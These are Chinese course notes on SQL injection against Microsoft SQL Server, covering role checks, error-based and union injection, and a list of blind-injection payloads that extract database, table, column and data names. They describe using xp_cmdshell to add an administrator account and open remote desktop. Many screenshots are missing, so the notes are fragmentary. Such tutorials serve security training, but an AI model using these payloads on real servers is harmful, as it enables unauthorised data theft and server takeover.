DAY8:SQL注入7-SQLserver

一、MSSQL基本使用 1. 增删改查 DAY8:SQL注入7-SQLserver

 

 

  二、MSSQL权限控制 1. MSSQL角色 DAY8:SQL注入7-SQLserver *****服务器默认的public角色的权限是最低的 DAY8:SQL注入7-SQLserver *****MySQL只涉及了数据库权限,要么是有最高数据库权限的root账号,要么是没有数据库最高权限的非root账号   2. SQLserver里面的数据库级别设置 DAY8:SQL注入7-SQLserver 含义: DAY8:SQL注入7-SQLserver

 

 

3. 固定服务器角色(sysadmin简称sa,是服务器角色的最高权限) DAY8:SQL注入7-SQLserver 判断服务器角色是否为sysadmin,是返回1,不是返回0 select is_srvrolemember('sysadmin')   4. 固定数据库角色(db_owner是数据库角色的最高权限) DAY8:SQL注入7-SQLserver 判断数据库角色是否为db_owner,是返回1,不是返回0 select is_member('db_owner')   5. 权限控制扩展 https://docs.microsoft.com/zh-cn/sql/relational-databases/security/authentication-access/getting-started-with-database-engine-permissions?view=sql-server-2017 https://blog.csdn.net/johnf_nash/article/details/80224188     三、MSSQL注入 1. MSSQL手工注入 这里--后面不用加空格,直接表示注释 判断堆叠注入后面可以接任意语句,若页面正常返回则支持 以下方法用的是报错注入,若无报错则不能用此方法 DAY8:SQL注入7-SQLserver quotename()函数将结果转换为字符型 DAY8:SQL注入7-SQLserver sys和dbo默认可以省略,但最好还是加上,若省略则是两个点 DAY8:SQL注入7-SQLserver

 

 

2. 获取数据库版本,利用的是报错注入 DAY8:SQL注入7-SQLserver windows NT 5.2即windows server 2003   3. 常用视图 DAY8:SQL注入7-SQLserver

 

 

4. 扩展存储过程 DAY8:SQL注入7-SQLserver *****重点了解xp_cmdshell,只有sa权限可以调用xp_cmdshell DAY8:SQL注入7-SQLserver

 

 

5. 检测与恢复扩展存储 DAY8:SQL注入7-SQLserver 新增用户ichunqiu并添加到administrators用户组 然后可以通过3389端口用新建的账号远程连接服务器 若服务器未开放3389端口,则再次调用xp_cmdshell执行命令开启3389端口   6. 检测SP_MAKEWEBTASK(备份功能) DAY8:SQL注入7-SQLserver 差异备份/完整备份,不需要sa权限   7. 其他扩展存储 DAY8:SQL注入7-SQLserver

 

 

8. 课后阅读 MSSQL注入方式进阶 https://www.waitalone.cn/sqlserver-inject-skills.html https://www.freebuf.com/articles/web/55577.html MSSQL注入总结 https://blog.51cto.com/maxvision/1691962 MSSQL报错注入 http://blog.nsfocus.net/mssql-order-by/ MSSQL union注入 https://www.cnblogs.com/mynona/p/3622863.html MSSQL的union注入时,每一列的类型要相同,若不知道类型就用null MSSQL盲注 ①查数据库个数 and (select count(name) from master.sys.databases)=7 ②查当前数据库名 and ascii(substring((db_name()),1,1))>48 ③查所有数据库名 and ascii(substring((select name from master.dbo.sysdatabases where dbid=1),1,1))>48 and ascii(substring((select top 1 name from master.dbo.sysdatabases where name not in ('第一个库名', '第二个库名',,,,,,’第N-1个数据库名’)),N,1)) >= 56 ④查表名 and ascii(substring((select top 1 name from 数据库名.sys.sysobjects where xtype = 'U' and name not in ('第一个表名','第二个表名',,,,,,'第N-1个表名')),N,1)) >= 9 ⑤查列名 and ascii(substring((select top 1 name from 数据库名.sys.syscolumns where id=(select id from 数据库名.sys.sysobjects where xtype='U' and name='表名') and name not in ('第一个列名')),N,1)) >= 65 ⑥获取数据 and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

 

   
上一篇:2_01_MSSQL课程_查询02


下一篇:MSSQL手工注入